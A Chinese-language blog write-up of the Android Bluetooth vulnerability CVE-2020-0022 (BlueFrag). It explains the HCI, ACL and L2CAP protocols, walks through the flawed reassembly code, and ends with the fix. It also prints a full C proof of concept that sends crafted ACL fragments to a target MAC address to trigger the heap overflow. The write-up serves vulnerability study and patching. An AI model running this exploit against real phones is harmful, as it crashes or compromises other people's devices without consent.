CVE-2020-0022漏洞分析

1 漏洞背景

CVE-2020-0022漏洞又称BlueFrag, 被评为严重漏洞, 该漏洞是出现在Bluedroid蓝牙协议的HCI层, 在Android8.0-9.0中可以RCE, Android10中可以DoS.

2 术语介绍

2.1 HCI协议

HCI(Host Control Interface)层位于蓝牙协议高层协议和底层协议之间, 为高层应用提供了一个统一访问HCI控制器的接口. 如下图:

img
img

HCI通过包的形式对传送的数据进行分片,分片后有三种包格式分别为: 命令包/数据包/事件包. 而数据包又分为两类: 异步无连接(ACL, Asynchronous Connectionless)和同步定向连接(SCO, Synchronous Connection Oriented). 前者主要用于同步语音传送(包括音乐等), 后者主要用于分组数据传送. 该漏洞发生在ACL连接, 所以这里只针对ACL展开解释.

ACL链路是定向发送数据包,它既支持对称连接,也支持不对称连接(既可以一对一,也可以一对多). 主设备负责控制链路带宽, 并决定每个从设备可以占用多少带宽和连接的对称性, 从设备只有被选中时才能传送数据. ACL链路也支持接收主设备发给所有从设备的广播消息. 包中每个字段的说明如下:

字段 说明
Handle Connection_Handle用于在主控制器上传输数据包或段
PB Flag 包边界和适应范围
BC Flag 广播标志
Data Total Length 以八位位组为单位的数据长度,包含高层协议data.

2.2 L2CAP协议

逻辑链路控制和适配协议(L2CAP, Logical Link Control and Adaptation Protocol), 位于HCI层之上, HCI适配层就是将L2CAP的包转化为ACL包, 其数据包格式如下:


数据包每个字段说明如下:

字段 说明
Length 2字节,表示信息有效负载的大小,不包括长度L2CAP头
Channel ID(CID) 2字节,用于标识目的信道的终端。通道ID的范围与正在发送数据包的设备相关
Information(Payload) 信息负载,长度为0到65535字节

2.3 分段和重组

分段(Fragmentation)是将L2CAP数据包切割成较小的部分, 供下层链路处理, 如L2CAP转ACL数据包; 重组(Reassembly)是将下层链路数据包合并为较大的数据包, 以供上层应用接收, 如ACL转L2CAP数据包.

3 漏洞原理

以Oreo8.1为例, 该漏洞位于/system/bt/hci/src/packet_fragmenter.ccreassemble_and_dispatch函数, 该函数是用于数据包分片的重组.

static void reassemble_and_dispatch(UNUSED_ATTR BT_HDR* packet) {
  if ((packet->event & MSG_EVT_MASK) == MSG_HC_TO_STACK_HCI_ACL) {
    uint8_t* stream = packet->data;
    uint16_t handle;
    uint16_t l2cap_length;
    uint16_t acl_length;
    
    // 获取handle, 和acl/l2cap数据段的长度
    STREAM_TO_UINT16(handle, stream);
    STREAM_TO_UINT16(acl_length, stream);
    STREAM_TO_UINT16(l2cap_length, stream);

    CHECK(acl_length == packet->len - HCI_ACL_PREAMBLE_SIZE);
    // 获取packet boundary的标志位
    uint8_t boundary_flag = GET_BOUNDARY_FLAG(handle);
    handle = handle & HANDLE_MASK;
    
    // 如果PB_Flag标志位表明是第一个ACL包, 则继续解析
    if (boundary_flag == START_PACKET_BOUNDARY) {
      // 通过全局的map, 判断当前的packet是否已经被处理过
      auto map_iter = partial_packets.find(handle);
      if (map_iter != partial_packets.end()) {
        LOG_WARN(LOG_TAG,
                 "%s found unfinished packet for handle with start packet. "
                 "Dropping old.",
                 __func__);

        BT_HDR* hdl = map_iter->second;
        partial_packets.erase(map_iter);
        buffer_allocator->free(hdl);
      }

      // 判断L2CAP数据包的长度是否正常
      if (acl_length < L2CAP_HEADER_SIZE) {
        LOG_WARN(LOG_TAG, "%s L2CAP packet too small (%d < %d). Dropping it.",
                 __func__, packet->len, L2CAP_HEADER_SIZE);
        buffer_allocator->free(packet);
        return;
      }

      // 计算完整的L2CAP数据包的长度, 包括: l2cap的payload长度, 数据包头部长度和HCI头部长度
      uint16_t full_length =
          l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;

      // Check for buffer overflow and that the full packet size + BT_HDR size
      // is less than the max buffer size
      if (check_uint16_overflow(l2cap_length,
                                (L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE)) ||
          ((full_length + sizeof(BT_HDR)) > BT_DEFAULT_BUFFER_SIZE)) {
        LOG_ERROR(LOG_TAG, "%s Dropping L2CAP packet with invalid length (%d).",
                  __func__, l2cap_length);
        buffer_allocator->free(packet);
        return;
      }

      // 判断当前l2cap头包中是否还有续包, 如果没有则直接调用reassembled函数解析package并返回.
      if (full_length <= packet->len) {
        if (full_length < packet->len)
          LOG_WARN(LOG_TAG,
                   "%s found l2cap full length %d less than the hci length %d.",
                   __func__, l2cap_length, packet->len);

        callbacks->reassembled(packet);
        return;
      }

      // 如果还有续包, 则重新分配一块新的内存用于packet中数据包的重组.
      BT_HDR* partial_packet =
          (BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));
      partial_packet->event = packet->event;
      partial_packet->len = full_length;
      partial_packet->offset = packet->len;

      memcpy(partial_packet->data, packet->data, packet->len);

      // Update the ACL data size to indicate the full expected length
      stream = partial_packet->data;
      STREAM_SKIP_UINT16(stream);  // skip the handle
      UINT16_TO_STREAM(stream, full_length - HCI_ACL_PREAMBLE_SIZE);

      // 根据handle将l2cap存到全局的map中
      partial_packets[handle] = partial_packet;

      // Free the old packet buffer, since we don't need it anymore
      buffer_allocator->free(packet);
    } else { // 如果该包不为首包, 则进入这个分支
      // 判断后续packet是否属于本次链路的, 如果不属于则直接返回
      auto map_iter = partial_packets.find(handle);
      if (map_iter == partial_packets.end()) {
        LOG_WARN(LOG_TAG,
                 "%s got continuation for unknown packet. Dropping it.",
                 __func__);
        buffer_allocator->free(packet);
        return;
      }
      // 获取前一轮生成的partial_packet
      BT_HDR* partial_packet = map_iter->second;

      packet->offset = HCI_ACL_PREAMBLE_SIZE; // 4bytes
      uint16_t projected_offset =
          partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);
      if (projected_offset >
          partial_packet->len) {  // len stores the expected length
        LOG_WARN(LOG_TAG,
                 "%s got packet which would exceed expected length of %d. "
                 "Truncating.",
                 __func__, partial_packet->len);
        packet->len = partial_packet->len - partial_packet->offset;
        projected_offset = partial_packet->len;
      }

      // 漏洞点
      memcpy(partial_packet->data + partial_packet->offset,
             packet->data + packet->offset, packet->len - packet->offset);

      // Free the old packet buffer, since we don't need it anymore
      buffer_allocator->free(packet);
      partial_packet->offset = projected_offset;

      if (partial_packet->offset == partial_packet->len) {
        partial_packets.erase(handle);
        partial_packet->offset = 0;
        callbacks->reassembled(partial_packet);
      }
    }
  } else {
    callbacks->reassembled(packet);
  }
}

漏洞点主要位于下面代码:

      if (projected_offset >
          partial_packet->len) {  // len stores the expected length
        LOG_WARN(LOG_TAG,
                 "%s got packet which would exceed expected length of %d. "
                 "Truncating.",
                 __func__, partial_packet->len);
        // 相减可能使packet->len小于4byte
        packet->len = partial_packet->len - partial_packet->offset;
        projected_offset = partial_packet->len;
      }

      // 漏洞点
      memcpy(partial_packet->data + partial_packet->offset,
             packet->data + packet->offset, packet->len - packet->offset);

memcpy将ACL的packet->datacopy到L2CAP的partial_packet->data中, 源地址指针和目的地址指针都没有问题, memcpy的第三个参数, 即内存拷贝的长度有问题, packet->len长度可能小于packet->offset, 即可能小于4byte, 则packet->len - packet->offset相减为负数, 而memcpy第三个参数是无符号整型(size_t型), 则负数被视为一个很大的整数, 由整数溢出造成堆溢出.

4 POC

/*
 * gcc -lbluetooth poc.c -o poc
 * sudo ./poc MAC_ADDR
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/uio.h>


int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);

int main(int argc,char **argv) {
    bdaddr_t dst_addr;
    if (argc != 2){
        printf("usage: ./poc MAC_ADDR");
    exit(1);
    }
    str2ba(argv[1], &dst_addr);
    struct hci_dev_info di;

    // Get HCI Socket
    printf("\nCreating HCI socket...\n");
    int hci_device_id = hci_get_route(NULL);
    int hci_socket = hci_open_dev(hci_device_id);
    if(hci_devinfo(hci_device_id,&di)< 0){
        perror("devinfo");
    exit(1);
    }
    uint16_t hci_handle;
    // -------- L2CAP Socket --------
    // local addr
    struct l2cap_conninfo l2_conninfo;
    int l2_sock;
    struct sockaddr_l2 laddr, raddr;
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;
    laddr.l2_psm = htobs(0x1001);
    laddr.l2_cid = htobs(0x0040);

    // remote addr
    memset(&raddr, 0, sizeof(raddr));
    raddr.l2_family = AF_BLUETOOTH;
    raddr.l2_bdaddr = dst_addr;

    // create socket 
    printf("\nCreating l2cap socket...\n");
    if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
        perror("create l2cap socket");
    exit(1);
    }
    // bind and connect
    bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
    if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
        perror("connect");
    exit(1);
    }
    socklen_t l2_conninfolen = sizeof(l2_conninfo);
    getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
    hci_handle = l2_conninfo.hci_handle;
    printf("fuck%d", hci_handle);

    // -------- L2CAP Socket --------

    // HCI Connect
    printf("\nCreating a HCI BLE connection...\n");
    printf("\nPrepare to send packet\n");
    uint16_t datalen = 33;
    uint16_t _bs_l2cap_len = htobs(datalen);
    uint16_t _bs_cid = htobs(0x0001);
    uint8_t packet[4 + datalen + 0x1000];
    memcpy(&packet[0],&_bs_l2cap_len,2);
    memcpy(&packet[2],&_bs_cid,2);
    memset(&packet[4], 0x99, datalen+0x1000);
    int fl = 36;
    int i =0 ;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl ); 
    i+=fl;
    printf("\nSent fisrt packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300); 

    printf("\nClosing HCI socket...\n");
    close(hci_socket);
    printf("\nClosing l2cap socket...\n");
    close(l2_sock);
    return 0;
}

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
    uint8_t type = HCI_ACLDATA_PKT;
    uint16_t BCflag = 0x0000;               // Broadcast flag
    //uint16_t PBflag = 0x0002;               // Packet Boundary flag
    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;       
    hci_acl_hdr hd;
    hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
    //hd.dlen = (data_length);
    hd.dlen = dlen;
    struct iovec iv[3];
    int ivn = 3;

    iv[0].iov_base = &type;                 // Type of operation
    iv[0].iov_len = 1;                      // Size of ACL operation flag
    iv[1].iov_base = &hd;                   // Handle info + flags
    iv[1].iov_len = HCI_ACL_HDR_SIZE;       // L2CAP header length + data length
    iv[2].iov_base = data;                  // L2CAP header + data
    iv[2].iov_len = (data_length);          // L2CAP header length + data length

    while (writev(hci_socket, iv, ivn) < 0) {
        if (errno == EAGAIN || errno == EINTR)
            continue;
    perror("writev");
        return -1;
    }
    return 0;
}

5 Patch

@@ -221,7 +221,8 @@
                  "%s got packet which would exceed expected length of %d. "
                  "Truncating.",
                  __func__, partial_packet->len);
-        packet->len = partial_packet->len - partial_packet->offset;
+        packet->len =
+            (partial_packet->len - partial_packet->offset) + packet->offset;
         projected_offset = partial_packet->len;
       }

6 参考链接

6.1 漏洞相关

6.2 协议相关:

6.3 源码下载

git clone https://android.googlesource.com/platform/system/bt
git reset --hard 3cb7149d8fed2d7d77ceaa95bf845224c4db3baf
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260

推荐阅读更多精彩内容

  • Guide to BluetoothSecurity原文 本出版物可免费从以下网址获得:https://doi.o...
    公子小水阅读 7,608评论 0 6
  • 1 introduction L2CAP向上层提供面向连接的和无连接的数据服务,包含了协议的多路复用功能和分段重组...
    lucca_x阅读 3,413评论 0 1
  • BLE 概览 第一章 什么是低功耗蓝牙(Bluetooth Low Energy) 低功耗蓝牙是一项新技术,它不但...
    一只爱运动的猪阅读 723评论 0 1
  • [toc] 当前开发的智能硬件项目中涉及蓝牙通信的目前有三处: 配网时手机端向硬件端请求获取wifi列表 配网时手...
    青青河边草2041阅读 2,130评论 0 1
  • 前一段时间,曾看到一年轻漂亮妈妈发的朋友圈:女人,你寒酸给谁看?详细原文记不清了,但大致意思还是印象深刻的。 “女...
    我心飞翔fsm阅读 520评论 8 3